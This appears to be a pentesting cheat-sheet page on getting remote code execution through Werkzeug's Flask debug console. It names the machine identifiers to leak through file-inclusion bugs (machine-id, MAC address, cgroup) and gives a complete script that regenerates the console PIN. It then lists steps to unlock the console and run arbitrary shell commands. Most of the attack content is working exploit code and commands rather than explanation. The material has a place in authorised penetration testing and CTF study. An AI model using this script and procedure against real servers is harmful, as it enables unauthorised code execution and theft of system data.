Skip to main content

werkzeug-debug-console-pin-exploit-rce

Werkzeug Debug Console PIN Exploit (RCE)

Werkzeug (used by Flask) provides an interactive debug console when the application runs in debug mode.
This console allows arbitrary Python code execution.

To prevent abuse, Werkzeug protects the console with a PIN.

If an attacker can:

  • Trigger a debug error page AND
  • Reconstruct the PIN
success

Full Remote Code Execution (RCE) is possible.


When You See This Message

If you encounter the following on a Flask app:

The console is locked and needs to be unlocked by entering the PIN.
&#xNAN;You can find the PIN printed out on the standard output of your shell that runs the server.

This confirms:

  • Debug mode is enabled
  • Werkzeug debugger is exposed
  • PIN-based protection is active

Why the PIN Is Weak

The Werkzeug PIN is deterministically generated, not random.

It is derived from:

  • Public application details
  • Machine-specific identifiers

If you can leak system files (via LFI, path traversal, etc.), you can recompute the PIN offline.


PIN Generation Internals

The PIN is generated from two groups of values:

1. probably_public_bits

These are values an attacker can usually guess or leak:

info

These can also be found if we can somehow trigger werkzeug error. Example: Trying to load a template that doesn't exists in templates folder.

FieldDescription
usernameUser running the Flask app
modnameUsually flask.app
app nameUsually Flask
module file pathPath to flask/app.py or app.py

Example:

probably_public_bits = [
'www-data',
'flask.app',
'Flask',
'/usr/local/lib/python3.5/dist-packages/flask/app.py'
]

2. private_bits

These are machine identifiers, but often leakable (using LFI):

FieldSource
MAC address/sys/class/net/<iface>/address
Machine ID/etc/machine-id or /proc/sys/kernel/random/boot_id
cgroup ID/proc/self/cgroup

Example:

private_bits = [
'279275995014060', # MAC address (decimal)
'd4e6cb65d59544f3331ea0425dc555a1' # machine-id
]

Getting the MAC Address

If you don’t know the interface name:

  1. Leak /proc/net/arp
  2. Identify the active interface (e.g. ens3, eth0)
  3. Read:
/sys/class/net/<iface>/address

Convert hex MAC to decimal:

>>> print(0x5600027a23ac)
94558041547692

PIN Generation Script

import hashlib
from itertools import chain
probably_public_bits = [
'www-data', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]

## h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
## h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Using the PIN for RCE

  1. Trigger an exception → Debug page
  2. Click “Console”
  3. Enter generated PIN
  4. Execute arbitrary Python:
import os
os.system("id")

Version Notes

Werkzeug VersionHash
Old versionsmd5
Newer versionssha1

If your PIN fails:

  • Try switching sha1md5